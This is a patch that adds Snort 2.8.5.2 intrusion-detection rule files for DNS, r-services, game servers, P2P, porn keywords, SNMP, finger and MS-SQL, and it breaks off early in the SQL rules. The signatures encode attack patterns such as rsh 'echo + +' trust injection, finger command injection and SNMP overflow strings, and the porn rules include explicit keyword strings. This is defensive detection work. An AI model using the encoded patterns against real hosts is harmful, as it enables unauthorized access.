+# alert tcp $EXTERNAL_NET any -> $HOME_NET 53 (msg:"DNS TCP inverse query"; flow:to_server,established; byte_test:1,<,16,2; byte_test:1,&,8,2; reference:bugtraq,2302; reference:cve,2001-0010; classtype:attempted-recon; sid:2922; rev:1;)
+# alert udp $EXTERNAL_NET any -> $HOME_NET 53 (msg:"DNS UDP inverse query"; byte_test:1,<,16,2; byte_test:1,&,8,2; reference:bugtraq,2302; reference:cve,2001-0010; classtype:attempted-recon; sid:2921; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 53 (msg:"DNS TCP inverse query overflow"; flow:to_server,established; byte_test:1,<,16,4; byte_test:1,&,8,4; isdataat:400; reference:bugtraq,134; reference:cve,1999-0009; classtype:attempted-admin; sid:3153; rev:2;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 53 (msg:"DNS UDP inverse query overflow"; byte_test:1,<,16,2; byte_test:1,&,8,2; isdataat:400; reference:bugtraq,134; reference:cve,1999-0009; classtype:attempted-admin; sid:3154; rev:2;)
--- snort-2.8.5.2.orig/rules/rservices.rules
+++ snort-2.8.5.2/rules/rservices.rules
@@ -0,0 +1,35 @@
+# Copyright 2001-2005 Sourcefire, Inc. All Rights Reserved
+#
+# This file may contain proprietary rules that were created, tested and
+# certified by Sourcefire, Inc. (the "VRT Certified Rules") as well as
+# rules that were created by Sourcefire and other third parties and
+# distributed under the GNU General Public License (the "GPL Rules").  The
+# VRT Certified Rules contained in this file are the property of
+# Sourcefire, Inc. Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# The GPL Rules created by Sourcefire, Inc. are the property of
+# Sourcefire, Inc. Copyright 2002-2005 Sourcefire, Inc. All Rights
+# Reserved.  All other GPL Rules are owned and copyrighted by their
+# respective owners (please see www.snort.org/contributors for a list of
+# owners and their respective copyrights).  In order to determine what
+# rules are VRT Certified Rules or GPL Rules, please refer to the VRT
+# Certified Rules License Agreement.
+#
+#
+# $Id: rservices.rules,v 1.22.2.1.2.1 2005/05/16 22:17:52 mwatchinski Exp $
+#----------------
+# RSERVICES RULES
+#----------------
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 513 (msg:"RSERVICES rlogin LinuxNIS"; flow:to_server,established; content:"|3A 3A 3A 3A 3A 3A 3A 3A 00 3A 3A 3A 3A 3A 3A 3A 3A|"; classtype:bad-unknown; sid:601; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 513 (msg:"RSERVICES rlogin bin"; flow:to_server,established; content:"bin|00|bin|00|"; reference:arachnids,384; classtype:attempted-user; sid:602; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 513 (msg:"RSERVICES rlogin echo++"; flow:to_server,established; content:"echo |22| + + |22|"; reference:arachnids,385; classtype:bad-unknown; sid:603; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 513 (msg:"RSERVICES rsh froot"; flow:to_server,established; content:"-froot|00|"; reference:arachnids,387; classtype:attempted-admin; sid:604; rev:5;)
+alert tcp $HOME_NET 513 -> $EXTERNAL_NET any (msg:"RSERVICES rlogin login failure"; flow:from_server,established; content:"|01|rlogind|3A| Permission denied."; reference:arachnids,392; classtype:unsuccessful-user; sid:611; rev:7;)
+alert tcp $HOME_NET 513 -> $EXTERNAL_NET any (msg:"RSERVICES rlogin login failure"; flow:from_server,established; content:"login incorrect"; reference:arachnids,393; classtype:unsuccessful-user; sid:605; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 513 (msg:"RSERVICES rlogin root"; flow:to_server,established; content:"root|00|root|00|"; reference:arachnids,389; classtype:attempted-admin; sid:606; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 514 (msg:"RSERVICES rsh bin"; flow:to_server,established; content:"bin|00|bin|00|"; reference:arachnids,390; classtype:attempted-user; sid:607; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 514 (msg:"RSERVICES rsh echo + +"; flow:to_server,established; content:"echo |22|+ +|22|"; reference:arachnids,388; classtype:attempted-user; sid:608; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 514 (msg:"RSERVICES rsh froot"; flow:to_server,established; content:"-froot|00|"; reference:arachnids,387; classtype:attempted-admin; sid:609; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 514 (msg:"RSERVICES rsh root"; flow:to_server,established; content:"root|00|root|00|"; reference:arachnids,391; classtype:attempted-admin; sid:610; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 512 (msg:"RSERVICES rexec username overflow attempt"; flow:to_server,established; content:"|00|"; offset:9; content:"|00|"; distance:0; content:"|00|"; distance:0; classtype:attempted-admin; sid:2113; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 512 (msg:"RSERVICES rexec password overflow attempt"; flow:to_server,established; content:"|00|"; content:"|00|"; distance:33; content:"|00|"; distance:0; classtype:attempted-admin; sid:2114; rev:3;)
--- snort-2.8.5.2.orig/rules/community-game.rules
+++ snort-2.8.5.2/rules/community-game.rules
@@ -0,0 +1,10 @@
+# Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# These rules are licensed under the GNU General Public License.
+# Please see the file LICENSE in this directory for more details. 
+# $Id: community-game.rules,v 1.8 2005/11/10 14:15:43 akirk Exp $
+
+alert udp $EXTERNAL_NET any -> $HOME_NET 2305 (msg:"COMMUNITY GAME Halocon Denial of Service Empty UDP Packet"; dsize:0; classtype:attempted-dos; reference:bugtraq,12281; sid:100000102; rev:1;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 7649 (msg:"COMMUNITY GAME Breed Game Server Denial of Service Empty UDP Packet"; dsize:0; classtype:attempted-dos; reference:bugtraq,12262; sid:100000103; rev:1;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 27777 (msg:"COMMUNITY GAME Amp II 3D Game Server Denial of Service Empty UDP Packet"; dsize:0; classtype:attempted-dos; reference:bugtraq,12192; sid:100000104; rev:1;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 29000 (msg:"COMMUNITY GAME FlatFrag game dos exploit"; fragbits:D; id:1; content:"|61 61 61|"; dsize:99; reference:bugtraq,15287; reference:cve,2005-3492; classtype:attempted-dos; sid:100000181; rev:1;) 
+alert udp $EXTERNAL_NET any <> $HOME_NET 7000 (msg:"COMMUNITY GAME Battle Carry attempt"; dsize:>8192; content:"|00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00|"; depth:16; reference:cve,2005-3493; reference:bugtraq,15282; classtype:attempted-dos; sid:100000182; rev:1;)
--- snort-2.8.5.2.orig/rules/p2p.rules
+++ snort-2.8.5.2/rules/p2p.rules
@@ -0,0 +1,43 @@
+# Copyright 2001-2005 Sourcefire, Inc. All Rights Reserved
+#
+# This file may contain proprietary rules that were created, tested and
+# certified by Sourcefire, Inc. (the "VRT Certified Rules") as well as
+# rules that were created by Sourcefire and other third parties and
+# distributed under the GNU General Public License (the "GPL Rules").  The
+# VRT Certified Rules contained in this file are the property of
+# Sourcefire, Inc. Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# The GPL Rules created by Sourcefire, Inc. are the property of
+# Sourcefire, Inc. Copyright 2002-2005 Sourcefire, Inc. All Rights
+# Reserved.  All other GPL Rules are owned and copyrighted by their
+# respective owners (please see www.snort.org/contributors for a list of
+# owners and their respective copyrights).  In order to determine what
+# rules are VRT Certified Rules or GPL Rules, please refer to the VRT
+# Certified Rules License Agreement.
+#
+#
+# $Id: p2p.rules,v 1.17.2.3.2.3 2005/06/15 23:02:34 mwatchinski Exp $
+#-------------
+# P2P RULES
+#-------------
+# These signatures look for usage of P2P protocols, which are usually
+# against corporate policy
+
+alert tcp $HOME_NET any -> $EXTERNAL_NET 8888 (msg:"P2P napster login"; flow:to_server,established; content:"|00 02 00|"; depth:3; offset:1; classtype:policy-violation; sid:549; rev:8;)
+alert tcp $HOME_NET any -> $EXTERNAL_NET 8888 (msg:"P2P napster new user login"; flow:to_server,established; content:"|00 06 00|"; depth:3; offset:1; classtype:policy-violation; sid:550; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 8888 (msg:"P2P napster download attempt"; flow:to_server,established; content:"|00 CB 00|"; depth:3; offset:1; classtype:policy-violation; sid:551; rev:7;)
+alert tcp $EXTERNAL_NET 8888 -> $HOME_NET any (msg:"P2P napster upload request"; flow:from_server,established; content:"|00|_|02|"; depth:3; offset:1; classtype:policy-violation; sid:552; rev:7;)
+alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"P2P GNUTella client request"; flow:to_server,established; content:"GNUTELLA"; depth:8; classtype:policy-violation; sid:1432; rev:6;)
+alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"P2P Outbound GNUTella client request"; flow:to_server,established; content:"GNUTELLA CONNECT"; depth:40; classtype:policy-violation; sid:556; rev:5;)
+alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"P2P GNUTella client request"; flow:to_server,established; content:"GNUTELLA OK"; depth:40; classtype:policy-violation; sid:557; rev:6;)
+alert tcp $HOME_NET any <> $EXTERNAL_NET 6699 (msg:"P2P Napster Client Data"; flow:established; content:".mp3"; nocase; classtype:policy-violation; sid:561; rev:6;)
+alert tcp $HOME_NET any <> $EXTERNAL_NET 7777 (msg:"P2P Napster Client Data"; flow:to_server,established; content:".mp3"; nocase; classtype:policy-violation; sid:562; rev:5;)
+alert tcp $HOME_NET any <> $EXTERNAL_NET 6666 (msg:"P2P Napster Client Data"; flow:established; content:".mp3"; nocase; classtype:policy-violation; sid:563; rev:6;)
+alert tcp $HOME_NET any <> $EXTERNAL_NET 5555 (msg:"P2P Napster Client Data"; flow:established; content:".mp3"; nocase; classtype:policy-violation; sid:564; rev:7;)
+alert tcp $HOME_NET any <> $EXTERNAL_NET 8875 (msg:"P2P Napster Server Login"; flow:established; content:"anon@napster.com"; classtype:policy-violation; sid:565; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 1214 (msg:"P2P Fastrack kazaa/morpheus GET request"; flow:to_server,established; content:"GET "; depth:4; reference:url,www.kazaa.com; reference:url,www.musiccity.com/technology.htm; classtype:policy-violation; sid:1383; rev:6;)
+alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"P2P Fastrack kazaa/morpheus traffic"; flow:to_server,established; content:"GET"; depth:3; content:"UserAgent|3A| KazaaClient"; reference:url,www.kazaa.com; classtype:policy-violation; sid:1699; rev:7;)
+alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"P2P BitTorrent announce request"; flow:to_server,established; content:"GET"; depth:4; content:"/announce"; distance:1; content:"info_hash="; offset:4; content:"event=started"; offset:4; classtype:policy-violation; sid:2180; rev:2;)
+alert tcp $HOME_NET any -> $EXTERNAL_NET 6881:6889 (msg:"P2P BitTorrent transfer"; flow:to_server,established; content:"|13|BitTorrent protocol"; depth:20; classtype:policy-violation; sid:2181; rev:2;)
+alert tcp $HOME_NET any -> $EXTERNAL_NET 4242 (msg:"P2P eDonkey transfer"; flow:to_server,established; content:"|E3|"; depth:1; reference:url,www.kom.e-technik.tu-darmstadt.de/publications/abstracts/HB02-1.html; classtype:policy-violation; sid:2586; rev:2;)
+alert tcp $HOME_NET 4711 -> $EXTERNAL_NET any (msg:"P2P eDonkey server response"; flow:established,from_server; content:"Server|3A| eMule"; reference:url,www.emule-project.net; classtype:policy-violation; sid:2587; rev:2;)
+alert udp $HOME_NET any -> $EXTERNAL_NET 41170 (msg:"P2P Manolito Search Query"; content:"|01 02 00 14|"; depth:4; offset:16; reference:url,openlito.sourceforge.net; reference:url,www.blubster.com; classtype:policy-violation; sid:3459; rev:3;)
--- snort-2.8.5.2.orig/rules/porn.rules
+++ snort-2.8.5.2/rules/porn.rules
@@ -0,0 +1,51 @@
+# Copyright 2001-2005 Sourcefire, Inc. All Rights Reserved
+#
+# This file may contain proprietary rules that were created, tested and
+# certified by Sourcefire, Inc. (the "VRT Certified Rules") as well as
+# rules that were created by Sourcefire and other third parties and
+# distributed under the GNU General Public License (the "GPL Rules").  The
+# VRT Certified Rules contained in this file are the property of
+# Sourcefire, Inc. Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# The GPL Rules created by Sourcefire, Inc. are the property of
+# Sourcefire, Inc. Copyright 2002-2005 Sourcefire, Inc. All Rights
+# Reserved.  All other GPL Rules are owned and copyrighted by their
+# respective owners (please see www.snort.org/contributors for a list of
+# owners and their respective copyrights).  In order to determine what
+# rules are VRT Certified Rules or GPL Rules, please refer to the VRT
+# Certified Rules License Agreement.
+#
+#
+# $Id: porn.rules,v 1.12.6.1.2.1 2005/05/16 22:17:52 mwatchinski Exp $
+#-------------
+# PORN RULES
+#-------------
+#
+
+alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"PORN alt.binaries.pictures.erotica"; flow:to_client,established; content:"alt.binaries.pictures.erotica"; nocase; classtype:kickass-porn; sid:1836; rev:2;)
+alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"PORN alt.binaries.pictures.tinygirls"; flow:to_client,established; content:"alt.binaries.pictures.tinygirls"; nocase; classtype:kickass-porn; sid:1837; rev:2;)
+alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"PORN free XXX"; content:"FREE XXX"; nocase; flow:to_client,established; classtype:kickass-porn; sid:1310; rev:5;)
+alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"PORN hardcore anal"; content:"hardcore anal"; nocase; flow:to_client,established; classtype:kickass-porn; sid:1311; rev:5;)
+alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"PORN nude cheerleader"; content:"nude cheerleader"; nocase; flow:to_client,established; classtype:kickass-porn; sid:1312; rev:5;)
+alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"PORN up skirt"; content:"up skirt"; nocase; flow:to_client,established; classtype:kickass-porn; sid:1313; rev:5;)
+# alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"PORN young teen"; content:"young teen"; nocase; flow:to_client,established; classtype:kickass-porn; sid:1314; rev:5;)
+alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"PORN hot young sex"; content:"hot young sex"; nocase; flow:to_client,established; classtype:kickass-porn; sid:1315; rev:5;)
+alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"PORN fuck fuck fuck"; content:"fuck fuck fuck"; nocase; flow:to_client,established; classtype:kickass-porn; sid:1316; rev:5;)
+alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"PORN anal sex"; content:"anal sex"; nocase; flow:to_client,established; classtype:kickass-porn; sid:1317; rev:5;)
+alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"PORN hardcore rape"; content:"hardcore rape"; nocase; flow:to_client,established; classtype:kickass-porn; sid:1318; rev:5;)
+alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"PORN real snuff"; content:"real snuff"; nocase; flow:to_client,established; classtype:kickass-porn; sid:1319; rev:5;)
+alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"PORN fuck movies"; content:"fuck movies"; nocase; flow:to_client,established; classtype:kickass-porn; sid:1320; rev:5;)
+alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"PORN dildo"; content:"dildo"; nocase; flow:to_client,established; classtype:kickass-porn; sid:1781; rev:1;)
+alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"PORN nipple clamp"; content:"nipple"; nocase; content:"clamp"; nocase; flow:to_client,established; classtype:kickass-porn; sid:1782; rev:1;)
+alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"PORN oral sex"; content:"oral sex"; nocase; flow:to_client,established; classtype:kickass-porn; sid:1783; rev:1;)
+alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"PORN nude celeb"; content:"nude celeb"; nocase; flow:to_client,established; classtype:kickass-porn; sid:1784; rev:1;)
+# alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"PORN voyeur"; content:"voyeur"; nocase; flow:to_client,established; classtype:kickass-porn; sid:1785; rev:1;)
+alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"PORN raw sex"; content:"raw sex"; nocase; flow:to_client,established; classtype:kickass-porn; sid:1786; rev:1;)
+# alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"PORN fetish"; content:"fetish"; nocase; flow:to_client,established; classtype:kickass-porn; sid:1793; rev:1;)
+alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"PORN masturbation"; content:"masturbat"; nocase; flow:to_client,established; classtype:kickass-porn; sid:1794; rev:1;)
+alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"PORN ejaculation"; content:"ejaculat"; nocase; flow:to_client,established; classtype:kickass-porn; sid:1795; rev:1;)
+# alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"PORN virgin"; content:"virgin "; nocase; flow:to_client,established; classtype:kickass-porn; sid:1796; rev:2;)
+alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"PORN BDSM"; content:"BDSM"; nocase; flow:to_client,established; classtype:kickass-porn; sid:1797; rev:1;)
+# alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"PORN erotica"; content:"erotic"; nocase; flow:to_client,established; classtype:kickass-porn; sid:1798; rev:1;)
+# alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"PORN fisting"; content:"fisting"; nocase; flow:to_client,established; classtype:kickass-porn; sid:1799; rev:1;)
+alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"PORN naked lesbians"; content:"naked lesbians"; nocase; flow:to_client,established; classtype:kickass-porn; sid:1833; rev:1;)
+
--- snort-2.8.5.2.orig/rules/snmp.rules
+++ snort-2.8.5.2/rules/snmp.rules
@@ -0,0 +1,39 @@
+# Copyright 2001-2005 Sourcefire, Inc. All Rights Reserved
+#
+# This file may contain proprietary rules that were created, tested and
+# certified by Sourcefire, Inc. (the "VRT Certified Rules") as well as
+# rules that were created by Sourcefire and other third parties and
+# distributed under the GNU General Public License (the "GPL Rules").  The
+# VRT Certified Rules contained in this file are the property of
+# Sourcefire, Inc. Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# The GPL Rules created by Sourcefire, Inc. are the property of
+# Sourcefire, Inc. Copyright 2002-2005 Sourcefire, Inc. All Rights
+# Reserved.  All other GPL Rules are owned and copyrighted by their
+# respective owners (please see www.snort.org/contributors for a list of
+# owners and their respective copyrights).  In order to determine what
+# rules are VRT Certified Rules or GPL Rules, please refer to the VRT
+# Certified Rules License Agreement.
+#
+#
+# $Id: snmp.rules,v 1.17.2.1.2.1 2005/05/16 22:17:52 mwatchinski Exp $
+# ---------------
+# SNMP RULES
+# ---------------
+#
+alert udp $EXTERNAL_NET any -> $HOME_NET 161 (msg:"SNMP missing community string attempt"; content:"|04 00|"; depth:15; offset:5; reference:bugtraq,2112; reference:cve,1999-0517; classtype:misc-attack; sid:1893; rev:4;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 161 (msg:"SNMP null community string attempt"; content:"|04 01 00|"; depth:15; offset:5; reference:bugtraq,2112; reference:bugtraq,8974; reference:cve,1999-0517; classtype:misc-attack; sid:1892; rev:6;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 161:162 (msg:"SNMP community string buffer overflow attempt"; content:"|02 01 00 04 82 01 00|"; offset:4; reference:bugtraq,4088; reference:bugtraq,4089; reference:bugtraq,4132; reference:cve,2002-0012; reference:cve,2002-0013; reference:url,www.cert.org/advisories/CA-2002-03.html; classtype:misc-attack; sid:1409; rev:10;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 161:162 (msg:"SNMP community string buffer overflow attempt with evasion"; content:" |04 82 01 00|"; depth:5; offset:7; reference:bugtraq,4088; reference:bugtraq,4089; reference:bugtraq,4132; reference:cve,2002-0012; reference:cve,2002-0013; reference:url,www.cert.org/advisories/CA-2002-03.html; classtype:misc-attack; sid:1422; rev:10;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 161 (msg:"SNMP public access udp"; content:"public"; reference:bugtraq,2112; reference:bugtraq,4088; reference:bugtraq,4089; reference:cve,1999-0517; reference:cve,2002-0012; reference:cve,2002-0013; classtype:attempted-recon; sid:1411; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 161 (msg:"SNMP public access tcp"; flow:to_server,established; content:"public"; reference:bugtraq,2112; reference:bugtraq,4088; reference:bugtraq,4089; reference:bugtraq,7212; reference:cve,1999-0517; reference:cve,2002-0012; reference:cve,2002-0013; classtype:attempted-recon; sid:1412; rev:13;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 161 (msg:"SNMP private access udp"; content:"private"; reference:bugtraq,4088; reference:bugtraq,4089; reference:bugtraq,4132; reference:bugtraq,7212; reference:cve,2002-0012; reference:cve,2002-0013; classtype:attempted-recon; sid:1413; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 161 (msg:"SNMP private access tcp"; flow:to_server,established; content:"private"; reference:bugtraq,4088; reference:bugtraq,4089; reference:bugtraq,4132; reference:cve,2002-0012; reference:cve,2002-0013; classtype:attempted-recon; sid:1414; rev:11;)
+alert udp any any -> 255.255.255.255 161 (msg:"SNMP Broadcast request"; reference:bugtraq,4088; reference:bugtraq,4089; reference:bugtraq,4132; reference:cve,2002-0012; reference:cve,2002-0013; classtype:attempted-recon; sid:1415; rev:9;)
+alert udp any any -> 255.255.255.255 162 (msg:"SNMP broadcast trap"; reference:bugtraq,4088; reference:bugtraq,4089; reference:bugtraq,4132; reference:cve,2002-0012; reference:cve,2002-0013; classtype:attempted-recon; sid:1416; rev:9;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 161 (msg:"SNMP request udp"; reference:bugtraq,4088; reference:bugtraq,4089; reference:bugtraq,4132; reference:cve,2002-0012; reference:cve,2002-0013; classtype:attempted-recon; sid:1417; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 161 (msg:"SNMP request tcp"; flow:stateless; reference:bugtraq,4088; reference:bugtraq,4089; reference:bugtraq,4132; reference:cve,2002-0012; reference:cve,2002-0013; classtype:attempted-recon; sid:1418; rev:11;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 162 (msg:"SNMP trap udp"; reference:bugtraq,4088; reference:bugtraq,4089; reference:bugtraq,4132; reference:cve,2002-0012; reference:cve,2002-0013; classtype:attempted-recon; sid:1419; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 162 (msg:"SNMP trap tcp"; flow:stateless; reference:bugtraq,4088; reference:bugtraq,4089; reference:bugtraq,4132; reference:cve,2002-0012; reference:cve,2002-0013; classtype:attempted-recon; sid:1420; rev:11;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 705 (msg:"SNMP AgentX/tcp request"; flow:stateless; reference:bugtraq,4088; reference:bugtraq,4089; reference:bugtraq,4132; reference:cve,2002-0012; reference:cve,2002-0013; classtype:attempted-recon; sid:1421; rev:11;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 161 (msg:"SNMP PROTOS test-suite-req-app attempt"; content:"0&|02 01 00 04 06|public|A0 19 02 01 00 02 01 00 02 01 00|0|0E|0|0C 06 08|+|06 01 02 01 01 05 00 05 00|"; reference:url,www.ee.oulu.fi/research/ouspg/protos/testing/c06/snmpv1/index.html; classtype:misc-attack; sid:1426; rev:5;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 162 (msg:"SNMP PROTOS test-suite-trap-app attempt"; content:"08|02 01 00 04 06|public|A4|+|06|"; reference:url,www.ee.oulu.fi/research/ouspg/protos/testing/c06/snmpv1/index.html; classtype:misc-attack; sid:1427; rev:4;)
--- snort-2.8.5.2.orig/rules/finger.rules
+++ snort-2.8.5.2/rules/finger.rules
@@ -0,0 +1,37 @@
+# Copyright 2001-2005 Sourcefire, Inc. All Rights Reserved
+#
+# This file may contain proprietary rules that were created, tested and
+# certified by Sourcefire, Inc. (the "VRT Certified Rules") as well as
+# rules that were created by Sourcefire and other third parties and
+# distributed under the GNU General Public License (the "GPL Rules").  The
+# VRT Certified Rules contained in this file are the property of
+# Sourcefire, Inc. Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# The GPL Rules created by Sourcefire, Inc. are the property of
+# Sourcefire, Inc. Copyright 2002-2005 Sourcefire, Inc. All Rights
+# Reserved.  All other GPL Rules are owned and copyrighted by their
+# respective owners (please see www.snort.org/contributors for a list of
+# owners and their respective copyrights).  In order to determine what
+# rules are VRT Certified Rules or GPL Rules, please refer to the VRT
+# Certified Rules License Agreement.
+#
+#
+# $Id: finger.rules,v 1.26.2.2.2.2 2005/05/31 17:13:02 mwatchinski Exp $
+#-------------
+# FINGER RULES
+#-------------
+#
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 79 (msg:"FINGER cmd_rootsh backdoor attempt"; flow:to_server,established; content:"cmd_rootsh"; reference:nessus,10070; reference:url,www.sans.org/y2k/TFN_toolkit.htm; reference:url,www.sans.org/y2k/fingerd.htm; classtype:attempted-admin; sid:320; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 79 (msg:"FINGER account enumeration attempt"; flow:to_server,established; content:"a b c d e f"; nocase; reference:nessus,10788; classtype:attempted-recon; sid:321; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 79 (msg:"FINGER search query"; flow:to_server,established; content:"search"; reference:arachnids,375; reference:cve,1999-0259; classtype:attempted-recon; sid:322; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 79 (msg:"FINGER root query"; flow:to_server,established; content:"root"; reference:arachnids,376; classtype:attempted-recon; sid:323; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 79 (msg:"FINGER null request"; flow:to_server,established; content:"|00|"; reference:arachnids,377; classtype:attempted-recon; sid:324; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 79 (msg:"FINGER remote command execution attempt"; flow:to_server,established; content:"|3B|"; reference:arachnids,379; reference:bugtraq,974; reference:cve,1999-0150; classtype:attempted-user; sid:326; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 79 (msg:"FINGER remote command pipe execution attempt"; flow:to_server,established; content:"|7C|"; reference:arachnids,380; reference:bugtraq,2220; reference:cve,1999-0152; classtype:attempted-user; sid:327; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 79 (msg:"FINGER bomb attempt"; flow:to_server,established; content:"@@"; reference:arachnids,381; reference:cve,1999-0106; classtype:attempted-dos; sid:328; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 79 (msg:"FINGER redirection attempt"; flow:to_server,established; content:"@"; reference:arachnids,251; reference:cve,1999-0105; reference:nessus,10073; classtype:attempted-recon; sid:330; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 79 (msg:"FINGER cybercop query"; flow:to_server,established; content:"|0A|     "; depth:10; reference:arachnids,132; reference:cve,1999-0612; classtype:attempted-recon; sid:331; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 79 (msg:"FINGER 0 query"; flow:to_server,established; content:"0"; reference:arachnids,131; reference:arachnids,378; reference:cve,1999-0197; reference:nessus,10069; classtype:attempted-recon; sid:332; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 79 (msg:"FINGER . query"; flow:to_server,established; content:"."; reference:arachnids,130; reference:cve,1999-0198; reference:nessus,10072; classtype:attempted-recon; sid:333; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 79 (msg:"FINGER version query"; flow:to_server,established; content:"version"; classtype:attempted-recon; sid:1541; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 79 (msg:"FINGER / execution attempt"; flow:to_server,established; content:"/"; pcre:"/^\x2f/smi"; reference:cve,1999-0612; reference:cve,2000-0915; classtype:attempted-recon; sid:3151; rev:3;)
--- snort-2.8.5.2.orig/rules/sql.rules
+++ snort-2.8.5.2/rules/sql.rules
@@ -0,0 +1,78 @@
+# Copyright 2001-2005 Sourcefire, Inc. All Rights Reserved
+#
+# This file may contain proprietary rules that were created, tested and
+# certified by Sourcefire, Inc. (the "VRT Certified Rules") as well as
+# rules that were created by Sourcefire and other third parties and
+# distributed under the GNU General Public License (the "GPL Rules").  The
+# VRT Certified Rules contained in this file are the property of
+# Sourcefire, Inc. Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# The GPL Rules created by Sourcefire, Inc. are the property of
+# Sourcefire, Inc. Copyright 2002-2005 Sourcefire, Inc. All Rights
+# Reserved.  All other GPL Rules are owned and copyrighted by their
+# respective owners (please see www.snort.org/contributors for a list of
+# owners and their respective copyrights).  In order to determine what
+# rules are VRT Certified Rules or GPL Rules, please refer to the VRT
+# Certified Rules License Agreement.
+#
+#
+# $Id: sql.rules,v 1.28.2.3.2.4 2005/07/22 19:19:54 mwatchinski Exp $
+#----------
+# SQL RULES
+#----------
+
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS 139 (msg:"MS-SQL/SMB sp_start_job - program execution"; flow:to_server,established; content:"s|00|p|00|_|00|s|00|t|00|a|00|r|00|t|00|_|00|j|00|o|00|b|00|"; depth:32; offset:32; nocase; classtype:attempted-user; sid:676; rev:6;)
